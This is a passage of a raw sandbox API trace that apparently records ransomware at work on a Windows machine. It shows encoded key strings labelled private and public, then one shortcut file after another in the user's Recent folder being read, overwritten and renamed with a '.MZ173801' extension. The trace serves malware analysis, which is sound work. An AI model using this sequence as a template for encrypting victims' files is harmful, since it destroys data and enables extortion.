lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x252503c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0147.496] GetCurrentThreadId () returned 0xab4 [0147.496] GetCurrentThreadId () returned 0xab4 [0147.496] GetCurrentThreadId () returned 0xab4 [0147.497] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0147.497] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x253609c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0147.497] GetCurrentThreadId () returned 0xab4 [0147.497] GetCurrentThreadId () returned 0xab4 [0147.497] GetCurrentThreadId () returned 0xab4 [0147.497] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\cEUdy Q8gkA4LqZQF.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\ceudy q8gka4lqzqf.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0147.497] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0147.497] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0147.497] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x434 [0147.497] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0147.497] ReadFile (in: hFile=0x280, lpBuffer=0x253dea0, nNumberOfBytesToRead=0x434, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x253dea0*, lpNumberOfBytesRead=0x19fa18*=0x434, lpOverlapped=0x0) returned 1 [0147.498] CloseHandle (hObject=0x280) returned 1 [0147.498] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\cEUdy Q8gkA4LqZQF.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\ceudy q8gka4lqzqf.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0147.499] WriteFile (in: hFile=0x280, lpBuffer=0x253fed0*, nNumberOfBytesToWrite=0x434, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x253fed0*, lpNumberOfBytesWritten=0x19fa24*=0x434, lpOverlapped=0x0) returned 1 [0147.503] CloseHandle (hObject=0x280) returned 1 [0147.504] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\cEUdy Q8gkA4LqZQF.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\ceudy q8gka4lqzqf.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\cEUdy Q8gkA4LqZQF.lnk.MZ173801" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\ceudy q8gka4lqzqf.lnk.mz173801")) returned 1 [0147.505] GetCurrentThreadId () returned 0xab4 [0147.505] GetCurrentThreadId () returned 0xab4 [0147.505] GetCurrentThreadId () returned 0xab4 [0147.505] GetCurrentThreadId () returned 0xab4 [0147.505] GetCurrentThreadId () returned 0xab4 [0147.505] GetCurrentThreadId () returned 0xab4 [0147.505] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54b236e1, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x54b236e1, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x54b236e1, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x40d, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="cpvUnLAPgKUFNMAUgON.lnk", cAlternateFileName="CPVUNL~1.LNK")) returned 1 [0147.505] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0147.505] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0147.505] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\cpvUnLAPgKUFNMAUgON.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\cpvunlapgkufnmaugon.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54b236e1, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x54b236e1, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x54b236e1, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x40d)) returned 1 [0147.506] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\cpvUnLAPgKUFNMAUgON.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\cpvunlapgkufnmaugon.lnk")) returned 0x20 [0147.506] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\cpvUnLAPgKUFNMAUgON.lnk", dwFileAttributes=0x80) returned 1 [0147.508] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0147.508] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x252503c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 